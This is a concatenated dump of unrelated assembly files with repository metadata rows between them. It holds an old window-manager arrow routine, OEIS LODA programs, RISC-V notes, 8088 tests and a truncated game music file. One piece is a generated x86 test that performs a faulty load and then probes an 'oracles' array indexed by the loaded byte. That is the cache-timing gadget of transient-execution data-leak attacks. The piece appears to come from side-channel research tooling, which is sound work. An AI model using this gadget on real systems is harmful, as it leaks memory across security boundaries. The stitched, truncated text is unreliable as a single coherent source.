* Window Manager Draw Arrows V1.01 1986 Tony Tebby QJUMP
* 2002 Marcel Kilgus
*
* 2002-11-13 1.01 Allocated more space for pattern on stack (MK)
*
section wman
*
xdef wm_drupa draw up arrows
xdef wm_drdna draw down arrows
xdef wm_drlta draw left arrows
xdef wm_drrta draw right arrows
*
xref wm_ssclr set single colour blob
*
xref wm_uparr
xref wm_dnarr
xref wm_ltarr
xref wm_rtarr
*
include dev8_keys_wwork
include dev8_keys_qdos_io
*
* d0 s
* d1 s
* d2 s 0
* d3 s -1
* d4 c p area size
* d5 c p area origin
* d6 sp position increment
* d7 sp blob count
* a0 c p window channel ID
* a4 c p window definition
*
reglist reg d4-d7/a1/a2
pattern equ $60 pattern frame
frame equ $60+4 pattern + pointer to blob
blob equ $60
*
wm_drupa
movem.l reglist,-(sp)
pea wm_uparr(pc) draw up arrows
bra.s wm_drscr
wm_drdna
movem.l reglist,-(sp)
addq.w #ww.scarr-1,d5 for down arrow, origin at bottom
pea wm_dnarr(pc) draw down arrows
*
* draw scrolling arrows
*
wm_drscr
sub.w #pattern,sp
clr.w d4
swap d4 width of scroll area
sub.w #ww.scawd,d4 less arrow width
blt.s wda_exit
moveq #ww.scasp,d6
divu d6,d4 divided by spacing
move.w d4,d7 ... number to draw (-1)
*
add.l #ww.scawd<<16,d4 width +
lsr.l #1,d4 ... remainder (/2)
clr.w d4 ... is offset to first one
add.l d4,d5
swap d6 and spacing
move.w wwa_psac+wwa.clen(a3),d1 ; scroll arrow colour
bra.s wda_do
*
*
wm_drlta
movem.l reglist,-(sp)
pea wm_ltarr(pc) draw left arrows
bra.s wm_drpan
wm_drrta
movem.l reglist,-(sp)
add.l #(ww.pnarr-1)<<16,d5 for right arrow, origin at right
pea wm_rtarr(pc) draw right arrows
*
* draw panning arrows
*
wm_drpan
sub.w #pattern,sp
sub.w #ww.pnaht,d4 ; height less arrow height
blt.s wda_exit
ext.l d4
moveq #ww.pnasp,d6
divu d6,d4 ; divided by spacing
move.w d4,d7 ; ... number to draw (-1)
*
swap d4
add.w #ww.pnaht,d4
lsr.w #1,d4 ; remainder (/2)
add.w d4,d5 ; is offset of first
move.w wwa_psac(a3),d1 ; pan arrow colour
*
*
wda_do
move.l sp,a2 set pointer to colour pattern
*
move.l ww_wstat(a4),a1
bsr.l wm_ssclr
*
wda_loop
moveq #iop.wblb,d0 write blob
move.l d5,d1 ... position
moveq #0,d2
moveq #-1,d3
move.l blob(sp),a1 ... pointer to blob
trap #3
*
add.l d6,d5 update position
dbra d7,wda_loop
*
wda_exit
add.w #frame,sp
movem.l (sp)+,reglist
rts
end
| 20.02521
| 66
| 0.685271
|
a43cfd552f43ed65741b0cb604e16584491b701b
| 557
|
asm
|
Assembly
|
programs/oeis/276/A276555.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/276/A276555.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/276/A276555.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A276555: Number of steps to reach 1 when starting from n and iterating the map x -> x - A061395(x).
; 0,1,1,2,2,3,2,3,3,3,4,4,3,4,5,6,4,7,5,5,5,5,5,6,6,6,7,7,6,8,6,7,8,8,7,9,7,9,9,8,8,10,7,10,11,8,8,9,12,9,11,9,8,10,10,10,13,10,11,14,8,12,12,13,12,9,10,9,15,10,12,11,10,13,12,10,12,12,14,13,15,16,15,14,13,12,13,16,13,14,14,16,17,15,14,16,12,16,16,13
lpb $0
mov $2,$0
seq $2,61395 ; Let p be the largest prime factor of n; if p is the k-th prime then set a(n) = k; a(1) = 0 by convention.
sub $0,$2
mov $3,$2
min $3,1
add $1,$3
lpe
mov $0,$1
| 42.846154
| 250
| 0.608618
|
d6f0385011edbd303e5e828f83c8f94b2c3bbf1a
| 4,387
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_336_927.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_336_927.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i9-9900K_12_0xca_notsx.log_336_927.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r13
push %r8
push %r9
push %rax
push %rsi
// Store
lea addresses_WT+0x29cf, %rsi
nop
nop
nop
dec %r12
mov $0x5152535455565758, %r8
movq %r8, (%rsi)
sub $24001, %rsi
// Store
lea addresses_US+0x164fa, %rax
clflush (%rax)
nop
nop
cmp %r8, %r8
movb $0x51, (%rax)
and %r11, %r11
// Store
lea addresses_normal+0x1a30f, %r12
cmp $16126, %r13
movb $0x51, (%r12)
nop
and $62840, %r12
// Store
lea addresses_UC+0x5a4f, %r9
xor $36350, %r13
mov $0x5152535455565758, %rsi
movq %rsi, (%r9)
dec %rax
// Store
lea addresses_A+0x186e8, %r8
nop
inc %rax
mov $0x5152535455565758, %r11
movq %r11, %xmm3
movups %xmm3, (%r8)
nop
nop
nop
nop
dec %r9
// Store
mov $0x46e61000000040f, %rax
clflush (%rax)
nop
xor %r8, %r8
movl $0x51525354, (%rax)
nop
nop
nop
nop
nop
add $16634, %r8
// Store
lea addresses_PSE+0xf70f, %r11
nop
nop
nop
nop
add %r9, %r9
movb $0x51, (%r11)
nop
nop
nop
xor %r8, %r8
// Store
lea addresses_PSE+0x276f, %r11
nop
nop
nop
nop
dec %r13
mov $0x5152535455565758, %r9
movq %r9, %xmm1
movups %xmm1, (%r11)
nop
nop
nop
nop
sub $5872, %rsi
// Store
lea addresses_UC+0xbb9f, %r8
nop
nop
nop
nop
inc %r9
movb $0x51, (%r8)
nop
add %rax, %rax
// Store
lea addresses_RW+0x1868f, %r8
cmp %rsi, %rsi
movw $0x5152, (%r8)
nop
nop
nop
nop
sub $3293, %r8
// Store
lea addresses_normal+0x1df0f, %r8
nop
nop
and %r9, %r9
movb $0x51, (%r8)
nop
nop
nop
add $27748, %r12
// Faulty Load
lea addresses_RW+0xef0f, %r12
nop
nop
and $54843, %rsi
movb (%r12), %al
lea oracles, %r13
and $0xff, %rax
shlq $12, %rax
mov (%r13,%rax,1), %rax
pop %rsi
pop %rax
pop %r9
pop %r8
pop %r13
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_RW', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_US', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 11}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_RW', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
<gen_prepare_buffer>
{'32': 336}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 25.068571
| 1,007
| 0.639389
|
8eb7d55576b7ed25a8befd533f4ce8111be54187
| 734
|
asm
|
Assembly
|
oeis/192/A192355.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/192/A192355.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/192/A192355.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A192355: Constant term of the reduction of the polynomial p(n,x)=(1/2)((x+2)^n+(x-2)^n) by x^2->x+2.
; Submitted by Christian Krause
; 1,0,6,2,70,90,926,2002,13110,37130,194446,640002,2973350,10653370,46333566,174174002,730176790,2820264810,11582386286,45425564002,184414199430,729520967450,2942491360606,11696742970002,47006639297270,187367554937290,751447226504526,2999857885752002,12017224603806310,48015519232830330,192222214478506046,768408445272470002,3075075019014542550,12295976362284182570,49196876590458693166,196748592937868884002,787111112023373201990,3148094227277799810010,12593427571558278233886,50370558298891875954002
mov $1,-3
pow $1,$0
mov $2,$0
trn $0,1
add $1,1
add $2,$0
mov $0,2
pow $0,$2
add $0,$1
div $0,3
| 48.933333
| 501
| 0.818801
|
25c2c8bb575f281a623ec154e3ea0ec0086caf96
| 4,179
|
asm
|
Assembly
|
WS4_ASM/Task_3.asm
|
OlegMalchenko/ACOS_WS_3
|
a0a6d02b6dcd54b1a103a3da24de17251d934605
|
[
"MIT"
] | null | null | null |
WS4_ASM/Task_3.asm
|
OlegMalchenko/ACOS_WS_3
|
a0a6d02b6dcd54b1a103a3da24de17251d934605
|
[
"MIT"
] | null | null | null |
WS4_ASM/Task_3.asm
|
OlegMalchenko/ACOS_WS_3
|
a0a6d02b6dcd54b1a103a3da24de17251d934605
|
[
"MIT"
] | null | null | null |
.text
task_3:
#_________________________________________________________________________
# Get familiar with RISC-V pseudoinstructions (mv, li, la, b, j, etc).
# What instructions are used to replace them when a program is assembled?:
# mv t0, t1
# li t0, 0x12345678
# li t0, 16
# b label
# j label
# la t0, label
#_________________________________________________________________________
# 1. [mv t1, t2] <move instruction>: sets t1 to contents of t2
# mv t0, t1
# according to "riscv-spec-v2.2.pdf" the 'mv' instruction can be performed through the base instructions of 'addi' (but we may eplicitly use 'add' as well).
# basically mv just assigns t0 with data stored by t0, then we may use these two instructions, which have been described above,
# in order to replace mv:
# mv t0, t1 <=> addi t0, t1, 0 <=> add t0, zero, t1, that makes mv to be described by R-type basic instructions.
# 2. [li t1, unsgn_immed] <load immediate instruction>: set t1 to 32-bit immediate (unsigned)
# li t0, 0x12345678
# according to "riscv-spec-v2.2.pdf" the 'li' instruction can be assempled using the sequences of base instruction of 'addi',
# in our case, as we know 'li' just assignes our destination register with some 32-bit immediate, we have to split our 32-bit number into smaller ones,
# (<=12 bits [signed]), that is, as the hugest positive signed 12-bit is 2047, we have to make at least ceil[0x12345678 / 2047] additions
# of 12-bit immediates to our initial variable, which we want to assign the immediate to, that is we'd have the following sequence:
#
# addi t0, zero, 2047 \ |
# addi t0, zero, 2047 | |
# ... |> 149203 times (as (0x12345678 / (2047)_10 )_10 = 149203.66 |
# ... | | <=> li t0, 0x12345678
# addi t0, zero, 2047 / |
# addi t0, zero, 1355 \\ since (0x12345678 = 305419896_10) - 2047*149203 = 1355 |
#
#
# 149204 addition operations in total [thus our assumption of at least ceil(immediate / 2047) operations to perform 'li' pseudoinstruction holds)
# 3. [li t1, sgn_immed] <load immediate instruction>: set t1 to 12-bit immediate (sign-extended)
# li t0, 16
# as far as we have this type of li to have 12-bit immediate (sign extended), there is no need to create the sequence of addi operations, as
# [addi rd, rs, immed] itself has 12-bit immediate (sign-extended),
# that means that in order to replace li:
# li t0, 16 <=> addi t0, zero, 16. That makes li to be described by I-format base instruction of addi.
# 4. [b label] <branch instruction>: branch to statement at label unconditionally
# b label
# basically, as far as we have to branch to statement at label's adress unconditionally, we may just use <branch if equal instruction>
# for two variables, that are always known to be equal under any condition, that is:
# b label <=> beq zero, zero, label (makes it branch unconditionally at 'label'). That makes b to be described by SB-type base instruction.
# 5. [j label] <jump instruction>: jump to statement at label
# j label
# that is basically we can use jal instruction with zero as rd, so that zero is assigned to return address, and we instantly jump to statement at label
# that means in order to replace j instruction:
# j label <=> jal zero, label. That is j may be replaced with jal base instruction of UJ-type.
# 6. [la t0, label] <load address instruction>: set t0 to label's address
# la t0, label
# According to "riscv-spec-v2.2.pdf", the load address instruction may be replaced with the sequence of auipc instruction with immedialte of label[31:12]
# then addi instruction with immediate of label[11:0], such that both rd, rs1 are t0:
# hence, in order to replace la instruction:
# la t0, label <=> | auipc t0, label[31:12] |
# <=> | addi t0, t0, label[11:0] | assuming some given label, address of which is known, and we take the bits of its address.
| 65.296875
| 157
| 0.665949
|
cca71eb04d8df02491fdf42d77b091605293d95b
| 369
|
asm
|
Assembly
|
programs/oeis/296/A296161.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/296/A296161.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/296/A296161.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A296161: Sum of the larger parts of the partitions of n into two parts such that the smaller part is odd.
; 0,1,2,3,4,8,10,12,14,21,24,27,30,40,44,48,52,65,70,75,80,96,102,108,114,133,140,147,154,176,184,192,200,225,234,243,252,280,290,300,310,341,352,363,374,408,420,432,444,481,494,507,520,560,574,588,602
mov $2,$0
sub $2,1
div $2,4
sub $0,$2
mul $2,$0
add $0,$2
| 36.9
| 201
| 0.693767
|
75b8bc12b9c046d5bbe490b74e4e33c8fdf854ce
| 1,138
|
asm
|
Assembly
|
demo2.asm
|
6502/js6502
|
693d60ea15d994e6b370f1d353bbe599e954ce72
|
[
"Unlicense"
] | 18
|
2015-06-24T00:22:58.000Z
|
2022-01-06T03:38:02.000Z
|
demo2.asm
|
6502/js6502
|
693d60ea15d994e6b370f1d353bbe599e954ce72
|
[
"Unlicense"
] | 1
|
2020-11-15T17:46:13.000Z
|
2020-11-15T18:43:34.000Z
|
demo2.asm
|
6502/js6502
|
693d60ea15d994e6b370f1d353bbe599e954ce72
|
[
"Unlicense"
] | 3
|
2018-11-10T07:36:31.000Z
|
2022-03-14T03:37:02.000Z
|
;
; Special locations
; (they work with LDA/STA abs only!)
;
set_palette = $FF00 ; W: sets current index
write_color = $FF01 ; W++: R, G or B
set_row = $FF02 ; W: pixel row
set_col = $FF03 ; W: pixel col
write_pixel = $FF04 ; W++: writes a pixel
random = $FF80 ; R: a random byte
clock0 = $FF81 ; R: updates clock and returns low byte
clock1 = $FF82 ; R: returns second byte of clock
clock2 = $FF83 ; R: returns third byte of clock
clock3 = $FF84 ; R: returns fourth byte of clock
;
; Execution begins at "start" and stops when
; program counter becomes $0000
;
.org $0200
start:
;
; "Regular" non-self-modifying code
;
ldx #$00
ldy #$10
lda #$00
sta set_row
sta set_col
loop1:
sta write_pixel
clc
adc #$01
bne loop1
dex
bne loop1
clc
adc #$01
dey
bne loop1
jmp $0300
.org $0300
;
; Self-modifying code
;
ldx #$00
ldy #$10
loop2:
lda #$00 ; <----- $00 will be incremented!
sta write_pixel
inc $0305
bne loop2
dex
bne loop2
inc $0305
dey
bne loop2
jmp $0000
| 18.354839
| 59
| 0.580844
|
561cca5418d7291b8c66a61dd985c8c39fbe8107
| 2,226
|
asm
|
Assembly
|
8088/xtce/gentests/functional.asm
|
reenigne/reenigne
|
c3eb8b31d7964e78bbe44908987d4be052a74488
|
[
"Unlicense"
] | 92
|
2015-04-10T17:45:11.000Z
|
2022-03-30T17:58:51.000Z
|
8088/xtce/gentests/functional.asm
|
reenigne/reenigne
|
c3eb8b31d7964e78bbe44908987d4be052a74488
|
[
"Unlicense"
] | 2
|
2017-11-05T07:21:35.000Z
|
2018-11-04T23:36:13.000Z
|
8088/xtce/gentests/functional.asm
|
reenigne/reenigne
|
c3eb8b31d7964e78bbe44908987d4be052a74488
|
[
"Unlicense"
] | 18
|
2015-04-11T20:32:44.000Z
|
2021-11-06T05:19:57.000Z
|
org 0
cpu 8086
testA:
dw 0 ; cycle count ignored (computed by emulator)
db 0 ; MUL queuefiller, no NOPs
db 0 ; Refresh period
db 0 ; Refresh phase
db .preambleEnd - ($+1)
.preambleEnd:
db .instructionsEnd - ($+1)
out 0xe0,al
.instructionsEnd:
db .fixupsEnd - ($+1)
.fixupsEnd:
%if 0 ; Test is currently not working on hardware - SPK seems to be always 0 even as T/C2OUT is oscillating and SPKRDATA is 1. Hardware issue?
test0:
dw 0 ; cycle count ignored (computed by emulator)
db 0x40 ; No queuefiller, no NOPs
db 0 ; Refresh period
db 0 ; Refresh phase
db .preambleEnd - ($+1)
.preambleEnd:
db .instructionsEnd - ($+1)
; mov al,0x99
; out 0x63,al
in al,0x61
and al,0xfc
out 0x61,al
or al,3
out 0x61,al
; mov al,0xb4
; out 0x43,al
; mov al,2
; out 0x42,al
; mov al,0
; out 0x42,al
; mov al,0xb4
; out 0x43,al
; mov al,2
; out 0x42,al
; mov al,0
; out 0x42,al
; mov al,0xb4
; out 0x43,al
; mov al,2
; out 0x42,al
; mov al,0
; out 0x42,al
; mov al,0xb4
; out 0x43,al
; mov al,2
; out 0x42,al
; mov al,0
; out 0x42,al
mov al,0x94
out 0x43,al
mov al,2
out 0x42,al
in al,0x62
mov ah,al
in al,0x62
mov bl,al
in al,0x62
mov bh,al
in al,0x62
mov cl,al
in al,0x62
mov ch,al
in al,0x62
mov dl,al
in al,0x62
mov dh,al
in al,0x62
and ax,0x3030
cmp ax,0x3020
jne .fail
and bx,0x3030
cmp bx,0x1010
jne .fail
and cx,0x3030
cmp cx,0x0000
jne .fail
and dx,0x3030
cmp dx,0x2020
jne .fail
; Reading from port 0x63 seems to give unpredictable results, so we'll skip
; it for now.
; in al,0x63
; mov ah,al
; in al,0x63
; mov bl,al
; in al,0x63
; mov bh,al
; in al,0x63
; mov cl,al
; in al,0x63
; mov ch,al
; in al,0x63
; mov dl,al
; in al,0x63
; mov dh,al
; in al,0x63
;
; and ax,0x3030
; cmp ax,0x1030
; jne .fail
; and bx,0x3030
; cmp bx,0x0010
; jne .fail
; and cx,0x3030
; cmp cx,0x2000
; jne .fail
; and dx,0x3030
; cmp dx,0x2020
; jne .fail
mov al,0xb4
out 0x43,al
mov al,0x6e ; low
out 0x42,al
mov al,0xf9 ; high
out 0x42,al
;
; int 0xff
.fail:
; int 0xfe
.instructionsEnd:
db .fixupsEnd - ($+1)
.fixupsEnd:
%endif
| 15.040541
| 149
| 0.618149
|
d37c5d8df0e7142799fd3290e99ec137853eb2dd
| 2,814
|
asm
|
Assembly
|
pore/pore.asm
|
mfkiwl/QNICE-FPGA-hyperRAM
|
aabc8291ac1e0c4666c51f84acddf599d7521e53
|
[
"BSD-3-Clause"
] | 53
|
2016-04-12T07:22:49.000Z
|
2022-03-25T09:24:48.000Z
|
pore/pore.asm
|
mfkiwl/QNICE-FPGA-hyperRAM
|
aabc8291ac1e0c4666c51f84acddf599d7521e53
|
[
"BSD-3-Clause"
] | 196
|
2020-06-05T04:59:50.000Z
|
2021-03-13T21:27:11.000Z
|
pore/pore.asm
|
mfkiwl/QNICE-FPGA-hyperRAM
|
aabc8291ac1e0c4666c51f84acddf599d7521e53
|
[
"BSD-3-Clause"
] | 15
|
2017-07-31T11:26:56.000Z
|
2022-02-22T14:22:46.000Z
|
; PORE ROM
; Power On & Reset Execution ROM
;
; This code is executed on power on and on each reset of the system,
; even before any standard operating system like the Monitor is being
; executed from ROM address 0.
;
; The code relies on Monitor libraries and therefore directly includes
; them from the monitor subdirectory without using dist_kit.
;
; done by sy2002 in January 2016
#include "../monitor/sysdef.asm"
AND 0x00FF, SR ; make sure we are in rbank 0
MOVE VAR$STACK_START, SP ; initialize stack pointer
; Print boot message on UART and into the VRAM
RSUB VGA$CLS, 1 ; clear the whole VRAM
MOVE PORE$NEWLINE, R9 ; print a newline ...
MOVE 1, R10
RSUB PRINT_STRING, 1 ; ... but only on UART
MOVE PORE$RESETMSG, R9 ; print boot message ...
MOVE 0, R10
RSUB PRINT_STRING, 1 ; ... on both devices
; Let all async. processes settle
; UART is very slow, so we need to wait a while
; (at 115.200 baud: 27 x 16 = 432 cycles to be save)
MOVE 500, R0
NOP_LOOP SUB 1, R0
RBRA NOP_LOOP, !Z
; The HALT command triggers the PORE state machine to leave
; the PORE ROM, reset the CPU and switch to normal execution
HALT
; Prints a string to both, UART and VGA
; (independent, if the VGA signal is generated or not)
; expects R9 to point to the zero-terminated string
; R10: 1=write only to UART, 0=write to both
; R9, R10 are left unmodified
PRINT_STRING INCRB ; save register bank
MOVE R9, R0 ; leave R9 unmodified
_PRINT_LOOP MOVE @R0++, R8 ; actual character to R8
AND 0x00FF, R8 ; only lower 8bits relevant
RBRA _PRINT_DONE, Z ; zero termination detected
RSUB UART$PUTCHAR, 1 ; print to UART
MOVE R10, R2 ; skip VGA ...
RBRA _PRINT_LOOP, !Z ; ... if R10 is not zero
RSUB VGA$PUTCHAR, 1 ; print to VRAM
_SKIP_VGA RBRA _PRINT_LOOP, 1 ; continue printing
_PRINT_DONE DECRB ; restore register bank
RET ; return to caller
#include "boot_message.asm"
#include "../monitor/uart_library.asm"
#include "../monitor/vga_library.asm"
#include "../monitor/variables.asm"
| 46.131148
| 77
| 0.517413
|
f7cfab147aa17cc9ffc9ec42c0d35204e960157e
| 9,199
|
asm
|
Assembly
|
audio/music/wildbattle.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | 1
|
2022-02-15T00:19:44.000Z
|
2022-02-15T00:19:44.000Z
|
audio/music/wildbattle.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
audio/music/wildbattle.asm
|
opiter09/ASM-Machina
|
75d8e457b3e82cc7a99b8e70ada643ab02863ada
|
[
"CC0-1.0"
] | null | null | null |
Music_WildBattle_Ch1::
tempo 104
volume 7, 7
duty_cycle 3
vibrato 6, 3, 4
toggle_perfect_pitch
note_type 12, 11, 3
octave 4
note C_, 1
octave 3
note B_, 1
note A#, 1
note A_, 1
note A#, 1
note A_, 1
note G#, 1
note G_, 1
note G#, 1
note G_, 1
note F#, 1
note F_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note C#, 1
note C_, 1
octave 2
note B_, 1
octave 3
note C_, 1
octave 2
note B_, 1
note A#, 1
note A_, 1
note A#, 1
note B_, 1
octave 3
note C_, 1
note C#, 1
note_type 12, 11, 1
note G_, 6
note E_, 6
note D#, 12
note C#, 14
note E_, 6
note D#, 10
note_type 12, 4, -7
note C#, 10
note_type 12, 11, 1
note G_, 6
note E_, 6
note D#, 12
note C#, 14
note E_, 6
note D#, 10
note C#, 10
Music_WildBattle_branch_230e0::
note_type 12, 11, 3
note C#, 1
note D_, 1
note C#, 1
note C_, 1
note C#, 1
note D_, 1
note C#, 1
note C_, 1
note C#, 1
note D_, 1
note D#, 1
note D_, 1
note C#, 1
note C_, 1
octave 2
note B_, 1
octave 3
note C_, 1
note C#, 1
note D_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note G#, 1
note A_, 1
note G#, 1
note G_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note G#, 1
note A_, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note F_, 1
note E_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note G#, 1
note A_, 1
note G#, 1
note G_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note G#, 1
note A_, 1
note G#, 1
note G_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note G#, 1
note A_, 1
note G#, 1
note G_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note D_, 1
note C#, 1
note D_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note F#, 1
note F_, 1
note E_, 1
note D#, 1
note E_, 1
note F_, 1
note F#, 1
note G_, 1
note G#, 1
note_type 12, 11, 5
note D_, 4
note C_, 4
note D_, 4
note F_, 4
note E_, 6
note D_, 6
note F_, 4
note_type 12, 11, 7
note A_, 16
note G_, 16
note_type 12, 11, 5
note D_, 4
note C_, 4
note D_, 4
note F_, 4
note G_, 6
note A_, 6
note B_, 4
note_type 12, 11, 7
octave 4
note C_, 16
note_type 12, 3, -7
note G_, 16
note_type 12, 11, 5
octave 3
note C_, 12
note C_, 2
rest 2
note D_, 2
note C_, 2
rest 12
note C#, 12
note C#, 2
rest 2
note F_, 2
note_type 12, 10, 3
note D#, 6
note_type 12, 10, 7
note C#, 8
sound_loop 0, Music_WildBattle_branch_230e0
Music_WildBattle_Ch2::
duty_cycle 3
vibrato 8, 2, 5
note_type 12, 12, 3
octave 4
note G_, 1
note F#, 1
note F_, 1
octave 5
note G_, 1
